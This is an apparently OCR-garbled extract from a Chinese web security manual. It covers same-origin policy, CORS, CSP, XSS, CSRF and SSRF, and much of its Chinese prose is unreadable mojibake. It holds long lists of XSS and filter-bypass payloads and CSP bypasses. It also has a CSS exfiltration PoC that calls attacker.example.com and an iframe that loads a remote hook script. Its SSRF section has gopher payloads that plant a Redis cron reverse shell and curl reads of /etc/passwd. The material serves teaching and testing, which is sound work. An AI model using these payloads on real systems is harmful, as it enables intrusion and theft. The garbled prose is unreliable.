82 Chapter 4. #E R RBPA



Web-Sec Documentation, &% 1.0

FIrPA https://localhost:8080/ #l http://localhost:8081/ H{ Cookie £/,

Flash/SilverLight #&ig;

WSS B S AR A B T oK . Ml R il E R S5 48 LB crossdomain.xml, 15 B AR R 55 Feifr Wb £du 44
B A 7 1)
K Pm e ig RIS, R A E RISV A E R, s AREEIERTER, SR EEER.

TREYE R

[RIVR SR ISIA A I8 T A FIRYIE, #I140 childl.a.com 5 a.com / childl.a.com 4 child2.a.com /
xxx.childl.a.com 55 childl.a.com FHPFA[E]JE.

XF XML, RTATEPIAS BT 45 H 1% & document . domain="a.com' (AL HyF R SZH DA AT 2 1L Ti]
2 B A .

73 SN S B B R A S 1S, XA S T 20 1S HEE Y null .

Bl

(] PSR P ) T AN IR Z (RS HL, XA Bl g =2

W RS G (Cross-origin writes)
— #4% (links)
— T ]
— KRR
W VPSR A (Cross-origin embedding)
o]

R S VFESIRERA (Cross-origin reads)

AT RE RS PRI IR — LR il

<script src="..."></script> PRZ IR A A . ARG S RETE RN A A E) .

<link rel="stylesheet" href="..."> k&S A CSS. HT CSS MIFABLHITEEIN, CSS HEs i
TE—NRE MR Content-Type 48k,

<img> / <video> / <audio> fr A Z IR TTYE

<object> <embed> Fll <applet> MFi{] -

ofont-face G AMFH. —LLRIYEE ALVFIEI A ( cross-origin fonts), —SEFGEIFPEFA (same-
origin fonts),

<frame> Ml <iframe> FAMMLMTHYH. 3l i 0 AGEH] X-Frame-Options i 5k KB X FE (25
HAZH.

4.2,
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JSONP [§&ig;

JSONP Ff/2FIH <script> ARy fe ) SC IS i g 0], 15K 8h &4 iU JavaScript B4 [ By
—A~ callback PREAVERNSEL.

W55 st B RGBS A RS, AR H A E B I S BRI callback pREL

JSONP WAFAE— L4 IR, BIANY %% A /A% [0l 2 808 MO St B AT IR [ B e, 3 XSS 1)
Ao B Referer 5 Token FHi4 BRI, 7T HE 2 1 AU B -

73 5h JSONP {EBAH WA callback R H A AR OLT , W] AGHARIM L2 BT Z SN s AR, 51
XA bRy SOME Tt

BEREA AP 55

Javascript 1) APIs #', U] iframe.contentWindow , window.parent, window.open £l window.opener i

SCRAAES U o 4P SO IR I, X285 | 1 J7 30R %) window Fll Tocation XGRS FIUS KR -
window FVFESTE DT VAR

o window.blur

o window.close

o window.focus

o window.postMessage
window FLVFEEIRTT NI JE A

« window.closed

o window.frames

e window.length

« window.location

e window.opener

e window.parent

o window.self

e window.top

o window.window

Hrp window.location fUiFik/ 5, AR MR LvFik
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iR IR E

FERHAED VEaS A EE , 2l localStorage #il IndexedDB, PAJRHEATZM&I. A MEHINA H O HMAIFFAEZS
), — AR Javascript JHIASANREXT & T H & IR B HEA T 505 A

CORS

CORS 22—~ W3C #pifE, £MEEEFHILE (Cross-origin resource sharing). BIiTX4MRiE, A DA
) W T S Sk R

FRIERL

e Origin
— TG R B S BRER PR URL Y #8375 R BUA £ & k1% 7B
— Origin: <origin>
e Access-Control-Request-Method
— PGSR ik
— Access-Control-Request-Method: <method>
e Access-Control-Request-Headers
— FEIIESR AT header S

— Access-Control-Request-Headers: <field-name>[, <field-name>]=*

FRIRE%L

e Access-Control-Allow-Origin

— AUV A IESME URL

— NPT Sy FEUE R SRS W] T AT *

— Access-Control-Allow-Origin: <origin> | *
e Access-Control-Expose-Headers

— A AT R R Sk

— e.g. Access-Control-Expose-Headers: X-My-Custom-Header,

X-Another-Custom-Header
e Access-Control-Max-Age

— 7EH| Cache R[]

4.2. XSS 85



Web-Sec Documentation, 475 1.0

— Access-Control-Max-Age: <delta-seconds>
e Access-Control-Allow-Credentials

— PR RLE IR A

— Access-Control-Allow-Credentials: true
e Access-Control-Allow-Methods

— IR R

— Access-Control-Allow-Methods: <method>[, <method>]=*
e Access-Control-Allow-Headers

— FE ARk

— Access-Control-Allow-Headers: <field-name>[, <field-name>]*

Bh 3R

o WHRLEATFE CORS

o B4, AERERCAF, U E TRk
o MlE Vary: Origin 3

o MARLERE T Access-Control-Allow-Credentials

o FREIZAFHI ]

FELLE F5iR 18]

FLIRES IS A, ATDAKR ISR H /Y CSRF token , XMARICHFKHN Cross-Site Request Forgery (CSRF) 45
ice

PH 1E PR B ol BB, UM IR AR B 2 REE R, TEAIEREZATHRA L. B2 25000 T %
AHEBAN LAY Content-Type JHE k. BIANAIIRAE HTML SRy 48E <script> Frid, MIWIYE#E 220G
HTML fE#r~ JavaScript,

4.2.4 CSP
CSP Bfta?

Content Security Policy, fajfx CSP, FAENALERME., WA R, IMESNELEA %, FEEH
Ko CREE YR AT DARE 24 7 DL EL, > XSS k.
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A&

CSP smg nl At HTTP Skf5 B e meta JUFRE o

CSP =2

o Content-Security-Policy (Google Chrome)

o X-Content-Security-Policy (Firefox)

o X-WebKit-CSP (WebKit-based browsers, e.g. Safari)

HTTP header :

"Content-Security-Policy:" KB
"Content-Security-Policy-Report-Only:" 5K #

HTTP Content-Security-Policy 30 PAFE E— ML MNEIFL24H, 1 Content-Security-Policy-Report-
Only M2 avrik ekt (AE5Rb) — 5. 24 KA SR 2 S 56 R A s L.

HTML Meta :

<meta http-equiv="content-security-policy" content="7%#">

<meta http-equiv="content-security-policy-report-only" content="7% #%">

52
ik tEA
default-src | & SCHEFERIAIN RN
connect-src | F X Ajax. WebSocket 2%k 5KM%
font-src FE X Font M
frame-src 7E L Frame N5
img-src FE S R g R
media-src E X <audio>., <video> ZE5| F &N KM
object-src E X <applet>. <embed>. <object> 4£5| I &R Nz KM%
script-src FE XIS MRS
style-src JE S CSS fmzk R
base-uri E X <base> R URL #m&, Al default-src {EHERAE
sandbox {HA allow-forms, %F&JE S sandbox
report-uri {E°4 /report-uri, #EArH &
ES

4.2. XSS
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RVFMATEE url n#k, %7 data: blob: filesystem: schemes

— e.g. img-src -

none
— ZEIEAAEAT url g
— e.g. object-src 'none'
self
= H AT DA ) P 9
— e.g. img-src 'self'
data:

— A[PAE L data PRI BT
— e.g. img-src 'self' data:
domain.example.com
— e.g. img-src domain.example.com
— FURT RAMNER 2 B30 2 5
\*.example.com
— e.g. img-src \*.example.com
— T PAMAEE example.com [F-I A0 il %
https://cdn.com
— e.g. img-src https://cdn.com
— HEBMGE M https I
https:
— e.g. img-src https:
— HEBMEEIA https Nz BTR
unsafe-inline
— SFNFPEIEPATIEBIUD style attribute,onclick B, 2 sicript #1725
— e.g. script-src 'unsafe-inline'
unsafe-eval
— RSN E RS I, BN js (9 eval()
— e.g. script-src 'unsafe-eval'

nonce—-<base64-value>'

88
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— FEHEEVLAY nonce, AVFMEARE L nonce JEIEILHLAIHREE
— e.g. script-src 'nonce-bmOuY2U='

e <hash-algo>-<base64-value>'
— Fui¥ hash {HICECH D RBIAT

— e.g. script-src 'sha256-<base64-value>'

B & f

FUVFRAT IR IS AR, (EA Fe i s Bt

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

Bypass
Fanngs

W ads ol 7GR ARG, LR SR A RO, A — DI BT AR, AR A N a4 PR ) 2 2k
TRERNEG , RIGEIEE R XA XG4/ DNS-prefetch ., subresource. prefetch, preconnect . prerender.
HTML5 BUEfiiim#s i link AR50 rel JEHEARIEEM . WR csp LA unsafe-inline, W FI 0N 77 = 7]
PARIANA KSR, il

<= BMHEANTE -->

<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<t-- FRRENMERF -->

<link rel='prefetch' href='http://xxxx/x.jpg'>

<!-- DNS AT -—>
<link rel="dns-prefetch" href="http://xxxx">

<U-- FRXBRAF R -->

<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

FEN, A AW DU AR, Mt RSN NI, JERE IR Fm a8 -
o URL P& F#pt A
o BURALEEA. AL
« POST. PUT fil DELET /1) ajax i3k
« HTTP JAiE

« HTTPS Wi
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e ¥JFFT chrome developer tools J % T H.

MIME Sniff

2RI, csp 4 Jﬁﬁ?lﬁ&mﬂiﬂzﬁ {H2 AT DA v 52 img, AR AL — A A img, 5§ ““<script href="http:
//XXX com/xx.jpg’ >, XH csp WA img, Sed TR A, WERMESECA BIERRY mime type, W Yi#F
BEATAGI, SETREN % img 1E R A

302 BE¥%

X 302 Bkikgenk CSP s, SLhn A AR LSRR :
o BRARDAIFE SRR o
o TN ST host 43040 R F I HYIERAY host F54r—2L

iframe

D0 PAPATAHSI, AT A AR css js SFERSSCAF frame, FERCEAYSES, 1% frame HANFEAE csp,
WHEZ% frame N FARAIE frame, 5% bypass BH I, FEEL, I/ ../../. ./ /h2eh2el2f 0] Rgfh & Rk 55
TR B T AR A A A H Y

base-uri

24 script-src A nonce B TLFR T, H. base-uri FLFR IR, W base FRZEEMARE URL % bypass, 1R hN
#, T http://evil.com/main.js

<base href="http://evil.com/">

<script nonce="correct value" src="/main.js"></script>

Hith

o location %t

A bA% SVG I, kSR SVG et [k

FiAE CRLF il LRI #5578 CSP _EJ7y, AIRAFEA HTTP mafy g CSP gt
CND Bypass, HUERFui{EE T HA CDN, AW FHH Y CDN ##ESHR bypass
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o Angular versions <1.5.9 >=1.5.0, fFfEE Git Pull Request

¢ jQuery sourcemap

document .write( <script>

//@ sourceMappingURL=http://xxxx/ +document.cookie+ <\/script>"); "

o a HrZEHY ping JEME

e For FireFox <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;baseb4,
PHNj cmlwdD5hbGVydCgnSWhhdmVZb3V0b3cnKTs8L3NjcmlwdD4=">

e <link rel="import" />
e <meta http-equiv="refresh" content="0; url=http://...." />
o IUPRH script-src I}:

— <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBOPg=="></

object>

4.2.5 XSS HIEIE
URL

e location

e location.href

e location.pathname

e location.search

e location.hash

e document.URL

e document.documentURI

e document.baseURI

Navigation

e window.name

e document.referrer
Communication

e Ajax
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Fetch
WebSocket

PostMessage

Storage

Cookie
LocalStorage

SessionStorage

4.2.6 Sink

1T JavaScript

hngk

eval (payload)

setTimeout (payload, 100)
setInterval (payload, 100)
Function(payload) ()
<script>payload</script>

<img src=x onerror=payload>

URL

location=javascript:alert(/xss/)
location.href=javascript:alert(/xss/)
location.assign(javascript:alert(/xss/))

location.replace(javascript:alert(/xss/))

HTML

xx.innerHTML=payload
xx.outerHTML=payload
document .write(payload)

document.writeln(payload)

92

Chapter 4. #E R RBPA



Web-Sec Documentation, &% 1.0

4.2.7 XSS &P
HTML it

] — 28 4% Bl PR A BRI DR P A HTML, PASEELE I8RO . Blan DOMPurify 45 T H#AZ
I T XSS m PRI

X-Frame

X-Frame-Options iy 3k =A™ ] (A :
« DENY
— FR AN REBHR A LA iframe 5§ frame A
« SAMEORIGIN
— DU HAEMAS DU R AR iframe B frame H
¢« ALLOW-FROM
— DU AT frame B frame flIZE

XSS fripsk

T Webkit AR bt (Ean Chrome) FERFE ASTERINA — >4 4 XSS auditor MEGIFHLAT, AN
AN E] T AR E A AR BHE HTML SO, IR A BUE B AU 220 R, 2Eah)
L, ERARASPOEFRTE G R .

T 0 8 A 75 B X BOS B AR AL B e T30 Ba 28 1) XSS B3 E
T E N AR B AL, ] fl ] X-XSS-Protection FBHZ T B = A BERI(E
o 0: FIURKPIW AR XSS Bl

MRS I B AR RS, SR A S A B #) X-XSS-Protection T, ARAN G AR
X-XSS-Protection FR'E A 1, X&) YEAFHIEA R &

o 1; mode=block : WAL FETINR, FEATEYLEE AT
FireFox {AMRIPRIHLE], WRFTELRY, W] NoScript SEAH KA

4.2.8 WAF Bypass

o FIH <> #3id
o FIH html JEHk:
— href

— lowsrc
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bgsound

background

value

— action
— dynsre

o KL
— R B EHR5r
— TRP PR

* window["al" + "ert"]

o FUHgis%ed
— base64
— jsfuck
— String.fromCharCode

HTML

— URL
— hex
* window["\x61\x6c\x65\x72\x74"]
— unicode
— utf7
* +ADw-script+AD4-alert ('XSS')+ADsAPA-/script+AD4-
— utfl6
KNG IR
X HR S M (B e
PR
css BEULRNT
KR bypass

— eval (name)

eval (hash)

import

$.getScript
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— $.get

— i . g IP /4
— document ['cookie']l Z&id B HEUH
o HUEFISH ¢ Gad

4.2.9 15
httponly

o 1E cookie “j httponly FFEL T, FTPAEIT xss BHEAENNESEMIRIE, NEHEHI cookie.
o TERBSFBAEMTEOLT , 500l S E IR B SRR W LA cookie

o FRGTRERE A I Wi 2 AT RE X AE httponly SCRF/ACIE FAFAE )

o (RIRAH YiAR 3 FF TRACE / TRACK, W ZREUBIEY header 7B

« phpinfo T A FEX A A5 E, XLEFEE P http k&

o i xss HFF IR

o it xss PhiE oauth SFFZRUEK, mREESR
CSS AN
EXNE

CSS HEABHRIFET I CSS H1fy expression() url() regex() Z5pREal iR E | ASNBI 2R, H
EPEE W VA R R, XA R A, SRRy, I T2 e =

CSS selectors

<style>
#form2 input[value™='a'] { background-image: url(http://localhost/log.php/a); }
#form2 input[value™='b'] { background-image: url(http://localhost/log.php/b); }
#form2 input[value™='c'] { background-image: url(http://localhost/log.php/c); }
[...]

</style>

<form action="http://example.com" id="form2">
<input type="text" id="secret' name='"secret" value="abc'">

</form>
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ERFAH CSS selectors 5¢ B AT— 7R

Abusing Unicode Range

VAR A CSS RyRHE, FTLAfF font-face Fil#y unicode-range FRHLH AR TLX Y F4F4E. PoC IR

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/7A); /* fetched */
unicode-range:U+0041;
}
@font-faceq{
font-family:poc;
src: url(http://attacker.example.com/7B); /* fetched too */
unicode-range:U+0042;
}
@font-faceq{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>

PR LW, WATPAZSE @ first-line &5 CSS JEM4H/INEME, PASRBCERIHHI A

Bypass Via Script Gadgets

[F ]

— W SN A2 R e R DOM R 3, XX 27, A — MRl Code Reuse I
dir A AT AR . %07 S R B i Gadget L, 6T H AR T Y G AU R GA B G2 1 B A Y
Hi. £ Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via
Script Gadgets "% LR HMAH A,

portswigger B — 8 B et #3227 R 0w E https://portswigger.net/blog/

abusing-javascript-frameworks-to-bypass—-xss-mitigations,
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A ARG, XA T DOMPurify RANE, {(HZHNGIAT jquery.mobile.js FH(A[

BilF

// index.php

<?php

$msg = $_GET['message'];

$msg = str_replace("\n", "", $msg);
$msg = base64_encode($msg) ;

>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Preview</title>
<script type="text/javascript" src="purify.js"></script>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="jquery.mobile.js"></script>
</head>
<body>

<script type="text/javascript">

var d= atob('<7php echo $msg; 7>');
var cleanvar = DOMPurify.sanitize(d) ;
document .write(cleanvar) ;

</script>

</body>
</html>

// payload
<div data-role=popup id='-->
&lt;script&gt;alert(1)&1t;/scriptégt;'>

</div>
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RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite) Tty AR WANRT B AR B S i, HORET0 VO A0 I 28 i 55 e 0 Sz, 1
F5 ) Web A7 BRI B2 5+ -

4.2.10 Payload

<script>alert(/xss/)</script>

<svg onload=alert(document.domain)>

<img src=document.domain onerror=alert(document.domain)>
<M onmouseover=alert(document.domain)>M

<marquee onscroll=alert(document.domain)>

<a href=javascript:alert(document.domain)>M</a>

<body onload=alert(document.domain)>

<details open ontoggle=alert(document.domain)>

<embed src=javascript:alert(document.domain)>

KINEGET

<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert (1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert (&quot;M&quot;)">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>

<MaRqUeE oNsCrOlL=alert(1)>

98
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£ZFh alert

e <script>alert(1)</script>

e <script>confirm(1)</script>

e <script>prompt(1)</script>

e <script>alert('1l')</script>

e <script>alert("1")</script>

e <script>alert 1 </script>

e <script>(alert) (1)</script>

e <script>a=alert,a(l)</script>

e <script>[1].find(alert)</script>

e <script>top["al"+"ert"](1)</script>

o <script>top["a"+"1"+"e"+"r"+"t"] (1)</script>
e <script>topl[/al/.source+/ert/.source] (1)</script>

e <script>topl[/a/.source+/1/.source+/e/.source+/r/.source+/t/.source] (1)</script>

fhtmig
e <a href=javascript:/0/,alert (%22M}%22)>M</a>
e <a href=javascript:/00/,alert (%22M}22)>M</a>
e <a href=javascript:/000/,alert (%22M}),22)>M</a>

o <a href=javascript:/M/,alert (%22M})22)>M</a>

Chrome XSS auditor bypass

o 7param=https://&param=0z.exeye.io/import%20rel=import%3E
e <base href=javascript:/M/><a href=,alert(1)>M</a>

e <base href=javascript:/M/><iframe src=,alert(1)></iframe>

< B PR 1

<script>s+="1"</script>
\...

<script>eval(s)</script>
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jquery sourceMappingURL

</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>

BhH &

"><img src=x onerror=alert(document.cookie)>.gif

it H#AEY payload

o src=javascript:alert FANE] PA A
o css expression FpPE HEEIHIRA ie 7] H

CSss

<div style="background-image:url(javascript:alert(/xss/))">

<STYLE>Qimport'http://ha.ckers.org/xss.css';</STYLE>

markdown

[a] (javascript:prompt (document.cookie))

[al (5 a v a s c¢ r i p t:prompt(document.cookie))
<&HxOALHXOL&HXTOUH#XOL1E&HXT I&#XOIUHXT 24 #XO&H#XTO&#XTAE#XIAL&H KO 1&#XOCEHXOO&HXT 28 #XTA&# 284
SHX2Ta#xE8&#x53&#xE3&H#X2T&#x29>

! [a'" onerror=prompt (document.cookie)] (x)

[notmalicious] (javascript:window.onerror=alert;throw’20document.cookie)

[a] (data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdDa=)

! [a] (data:text/html;baseb64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

iframe

<iframe onload='

var sc = document.createElement("scr" + "ipt");
sc.type = "text/javascr" + "ipt";
sc.src = "http://1.2.3.4/js/hook.js";

document . body.appendChild(sc) ;

[l

/>
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e <iframe
e <iframe

e <iframe

iframe>
e <iframe
e <jiframe

e <iframe

form

src=javascript:alert(1)></iframe>
src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>

src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXN jcmlwdDphbGVydCgiTWFubml4Iik+PCOpZnJhbWU+:

srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
src=https://baidu.com width=1366 height=768></iframe>

src=javascript:alert(1l) width=1366 height=768></iframe

e <form action=javascript:alert(1l)><input type=submit>

o <form><button formaction=javascript:alert(1)>M

o <form><input formaction=javascript:alert(l) type=submit value=M>

o <form><input formaction=javascript:alert(l) type=image value=M>

o <form><input formaction=javascript:alert(l) type=image src=1>

meta

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

4.2.11 H24L

BT

IR 3 245 AR E Cookie 5 localStorage , T A7k B — A2 Wb B0 1781, R IR
% Cookie 5 localStorage S EOBARMGLIE, 2 B HIHDHRAE T, JE4T JSON Feathy
BRI, H5IAEAE eval(data) 2 K. RIL4%G 1 XSS I, AIRAE payload 5 AL, 7EXfIY

AT

TE—L& T,

AP 5 RT B PR S — SRk AT e, ATPAREJ String. fromCharCode R4E5H .

Service Worker

Service Worker T LARSE http 5K, S JLIAHL TR, #CRTDABE A Service Worker Hook —ti
Sk, AERRAR B G, DSBS ALY H .

F£ Chrome 1,

T[T chrome://inspect/#service-workers & F Service Worker fRPRES, FFEF71E 1L,

4.2. XSS
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AppCache

TEREIM AR (A3 wifi), ATRA( AppCache HL#l, SRR HI77f#—2LL Payload, RiFHRMFEILT,
J 5 3k X R payload &—EATAE

4.2.12 S5k

wiki

AwesomeXSS

w3c

dom xss wiki
content-security-policy.com
markdwon xss

xss cheat sheet

html5 security cheatsheet
http security headers

XSSChallengeWiki

Challenges

CSS

XSS Challenge By Google

prompt to win

rpo
rpo T RIHR

Reading Data via CSS

css based attack abusing unicode range
css injection

css timing attack

102
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https://brutelogic.com.br/blog/cheat-sheet/
https://html5sec.org/
https://www.netsparker.com/whitepaper-http-security-headers/
https://github.com/cure53/XSSChallengeWiki/wiki
https://xss-game.appspot.com
http://prompt.ml/0
http://www.thespanner.co.uk/2014/03/21/rpo/
http://www.zjicmisa.org/index.php/archives/127/
https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html
http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
https://speakerdeck.com/lmt_swallow/css-injection-plus-plus-ji-cun-shou-fa-falsegai-guan-todui-ce
https://blog.sheddow.xyz/css-timing-attack/
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EFEH

e Same origin policy
e cors security guide

« logically bypassing browser security boundaries

bypass

e 666 lines of xss payload

e xss auditor bypass

e xss auditor bypass writeup

e bypassing csp using polyglot jpegs

e bypass xss filters using javascript global variables

Xt

o AZFh XSS FpAdad| by tigdr

e Using Appcache and ServiceWorker for Evil
Tricks

o Service Worker ZZ42%&

. TS

4.3 CSRF

4.3.1 Ehr

Bk thig (Cross-Site Request Forgery, CSRF), W#i#< >} One Click Attack 5{# Session Riding , il
455} CSRF, Mot M B FI A . RAETERER XSS, (HES XSS AR, XSS FIH 5k i
FAER T, 1 CSRF W3E it e ok H 320545 P 03 KR A 2 A5 AR I3 o

4.3.2 33
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https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
https://www.bedefended.com/papers/cors-security-guide
https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries
https://gist.github.com/JohannesHoppe/5612274
https://github.com/masatokinugawa/filterbypass
https://www.leavesongs.com/HTML/chrome-xss-auditor-bypass-collection.html
https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs
https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/
http://drops.wooyun.org/web/10798
https://sakurity.com/blog/2015/08/13/middlekit.html
https://github.com/etherdream/sw-sec
https://github.com/EtherDream/web-frontend-magic
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HREE

RS RIERZHN 4 CSRF M0 R s iR AR TP T BB F 2N 288 . X FhRALIH 45 5] HTML 45
2 (N <image>. <audio>. <video>. <object>. <script> 4&) el SRS . MRS
ReNg 2 URL #Maknd s, Ao mfe v IR i AT AR 240 vl PASE 0t

HI TN Cookie YR MRAGEL, W LA, BLHGHATEEE XSS, Al PARAT () 2y 42 il i ol 5 st 5 A B
AT, HRBMRT GET #3K, PR @ WA ¥ URL ME—RYIORIEA . XFhII A0 3 2R 2
B AR ] 222y HTTP 453K 073

e
AL BT 24 MR B ). et 01— A d A i FL - JavaSeript J
Br. SRBEH M.

VA D)5 BRI TER A, AR R R

ARALER cookies Y, Mt n] DAYEAE Aot s b A Gt , RS2 F & MIAR cookie X5, Mriliits
S8 ARG H AR, AT B 52 2 ] B A AT TR B A DI %07 ¥R T G ] DAY
32 AR R S U P 454 B B RE SA R

XMLHttpRequest
XMLHttpRequest A Rg/2 i/ PFEIM T, T2 Web B RO XHR, 152 1 L3R KRS
(i) A A TR S IR — R AR 3R

£ XHR [ CSRF @& i SOP MiA XSS AR B BOA BB 23em (Cross-Origin
Resource Sharing, CORS), XHR {XRT Uil #404 H C HA R 1 R IR 3K

AR CSRF MUGEA R EA e — M rifER) XHR, Wdid Cads) 7 —2E A2 HEH W
DOM 1753

4.3.3 BhiE

o il CSRF-token B %l A ARAG I I o 52
¥53F Referer/Content-Type

X G O B A A i S AR T POST 484F
Al il A1) Cookie, J™#%iE Cookie i

4.3.4 BEHEE

e demo

o Wiping Out CSRF
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https://www.github.com/jrozner/csrf-demo
https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f
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e Neat tricks to bypass CSRF protection

4.4 SSRF

4.4.1 &

M55 it sk i (Server Side Request Forgery, SSRF) i /2 Mt # 76K AEHUR IR 55 5 A AURINE, A 1T
G5 eIl AR 55 4 04 B 03 ik — S M R S RO TR MR 5 e T TE N M . SSRE il it 5 10 SN 90 45 To ik L4
VIR AR RS -

RARE

SSRE W LAXFANM AR S5 e BrE I AR E A o L4, Zalias A e A I sAR A R - 38 A File by
WOEIA H S«

P XA R 55 90 AR X A i 95 SAeibt— e x5 L 2R N IR 550 1 4 D (58 105 Xk PR A ) 7 e 18 BEAS R
Bk, BroAfrAE SSRE I, SlH SR EH -

442 FIEAFX

SSRE M MAFAEL MIE AL 355, S AN 13 57 a] DA A ) 9 1 A g T 5

DA curl Bl RTPAGEH] dict st Redis. file PS(iE3CF . gopher PS5t Shell 22316, % ILHJ Payload
W

curl -vvv 'dict://127.0.0.1:6379/info"

curl -vvv 'file:///etc/passwd’

#x R MBEREL S, #48 LTEFA

curl -vvv 'gopher://127.0.0.1:6379/_%1/0d70a$8/,0d/0aflushall/0d/0a*3/0d/0a$3/0d/0aset/0d
—0a$170d70a170d70a$6470d70a7,0d70a/0a/0ax/1 * * * * bash -i >& /dev/tcp/103.21.140.84/
—6789 0>&170a70a0a/0a/0a0d%0a%0d%0a%0d%0a%470d70a$60d0aconfig0d/0a$3/0d/%0aset/0d
—/0a$370d70adir ,0d70a$1670d/0a/var/spool/cron/ 04/ 0a*470d70a$670d70acontfig/0d/0a$3/0d
—/0aset ,0d70a$1070d/0adbf ilename 0d/0a$4/0d/0aroot ,0d0a*170d70a$470d/0asave;0d,0aquit
~%0d7%0a"

4.4. SSRF 105



https://www.slideshare.net/0ang3el/neat-tricks-to-bypass-csrfprotection
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4.4.3 HXBREH

SSRF ¥ [ 3| (1 fa 16 eR B L 22 P 24575 1), SCRp OB O P 48 32 . LA PHP i, 38 K30 s B0h

file_get_contents() / fsockopen() / curl_exec() 5%,

4.4.4 EiEgEt
By IP it 5%

— TP R SR AL R URL S804 T IE WP 7 =R g )y 9 TP, R A A0 R 1 D3 =
« ~10(\.([2][0-4]1\d| [2] [5] [0-5] | [01]7\d?7\d)){3}$
o ~172\. ([1]1[6-9] | [21\dI3[011) (\. ([2] [0-4]\d| [2] [5] [0-5] | [01]17\d?\d)){2}$
o« ~192\.168(\. ([2] [0-41\d| [2] [5] [0-5] | [01]1?\d?\d)){2}$
XTI IR FA TR g TP 1Sk Iy Ak r4end, Bilin 192.168.0.1 XA TP Hihkw] AR 5 1
o 8 IR 0300.0250.0.1
o 16 HEfI#%: 0xC0.0xA8.0.1
o 10 FEHIEES R 3232235521
o 16 FEHIEEFHSE: 0xC0OA80001
o GIEEWIfI: 1.1.278 / 1.1.755
o BIFE=A7: 1.278 / 1.755 / 3.14159267
T3A0 TP g —AL, &R AR .
VIR S AR TP Huhikiy, Apache £x4it 400 Bad Request, {H Nginx., MySQL & HAWR S5 5 REIEH TAF.
734k, 0.0.0.0 XA TP W PABLHEYT R B AHE 38 10 0 R it s

{5 FREHT 2 A MB35

URAR S5 A ST 1P PRI yE A, FATHE T AGE ] localhost S5 AT 2 P I 4R 4S

J35h xip.io $RHE T AT RIS XAk TR ST R A 1P, 40 192.168.0.1.xip.jo, f##fT
3 192.168.0.1.

FIRREHT URL FRiHELAY ia) =8
FERAENGIL T, Ja Ay nl R X U5 URL gEAT# AT, XA R host MuhkdbATd k. Xl fES
WP URL ST AY, SERT A g,

Fbdn http://www.baidu.com@192.168.0.1/ 24 5 imfe 7 i A IEAf A9 15 W6 20 (FE ek http 22 J5 %] com
FIER RN, Wi www.baidu.com, AR5 HIEKIY host Mikkif) Xf ik URL )P 2BEF T AT
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HmHE, RA eI TR URL 1 host *h www.baidu.com, [Mi5EFs_FiXA> URL Fif K1) A #R &
192.168.0.1 FHIHE.

FIRBEE
ARG IR 25 2 e R B80S, IEMRIMNT 7 URL 9 host, FF HLUEFT Taduk, FeMTixASmi al DA ik
ey r RTS8

Al DA A A0 http://httpbin.org/redirect-to?url=http://192.168.0.1 ZEfk % Wki%, EHEHT URL FEE5T
192.168.0.1 XM IP ik, WRESAIEIMFIA AL PERE, W] DA o Ak i Aok 585

HBEAT 302 BRECA 307 BhiE, IXHIHET 307 B e & POST Gk ik, (H2 302 Bhe A&

BT EFIE HTTP il

US55 A A e X D7 ) URL Rk A MG EA T3 ik 3, ml DA 3 HTTP P BOREEFT A -

gl gopher, WPAfE—4> wl SR04 POST s GET 53K, MMk E|Bet A H . il
HIAGE ] gopher PABSONHS5 MM Redis A5 2847 50dr, ATPAGE 4R Ay URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0af1lushall?,0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0al
—%0d%0a$64%0d%0a%0d%0a%0a%0a*x/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a
—%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0acont ig}0d%0a$3%0d%0aset?0d%0a$3%0d%0adir’%0d
—%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$67%0d%0aconfig},0d%0a$3%0d%0aset%0d%0a$10%0d
—%0adbfilename’0d%0a$47%0d%0aroot’0d%0a*1%0d%0a$4%0d%0asave’,0d%0aquit%0d%0a

BT gopher ti¥, File tpitl/2 SSRF i FAIHMNL, RPN 3B H T A s B A Sefd:, AT
DAL file: ///path/to/file AR M TEALAR S (1 file PSCAT DA G R 55 5L 7 %
FIrihiE e IP AT . BIangRA 1T DAl T £ile:///d: /1. txt i D & Ltxt [HZ.

DNS Rebinding
— A BB B X R URL 25, 5 eiosaim X 2t T DNS f#tfr, 85X DNS
55 iR [ TP MR IEAT R0, ARAE SR B AR I 3K

iR AR, BB A K DNS JIR 55 UEA T3k M 21 5 — R R 55 i 25385k URL Z [E) A7 >R A
